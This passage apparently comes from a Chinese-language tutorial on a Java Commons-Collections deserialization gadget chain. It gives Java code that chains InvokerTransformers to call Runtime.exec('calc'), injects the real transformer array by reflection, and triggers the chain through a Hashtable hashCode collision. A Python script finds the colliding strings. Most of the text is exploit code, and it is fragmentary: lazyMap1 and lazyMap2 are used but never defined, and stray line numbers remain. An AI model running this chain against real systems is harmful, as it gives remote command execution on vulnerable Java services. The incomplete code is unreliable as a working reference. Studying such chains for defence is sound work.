Transformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
//ChainedTransformer实例 //先设置假的 Transformer 数组,防止生成时执行命令 Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//LazyMap实例 Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap();
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, "test"); hashtable.put(lazyMap2, "test");
//通过反射设置真的 transformer 数组 Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers);
public class test { public static void main(String[] args) { String name = "zDxlo"; if (name.hashCode() == "ycxlo".hashCode() && !name.equals("ycxlo")){ System.out.println("yes"); }else { System.out.println("no"); } } }
脚本如下:
1 2 3 4 5 6 7
import string
for i in string.ascii_letters: for j in string.ascii_letters: if (ord(i) + 31 * ord(j))==3850: print(j,i) break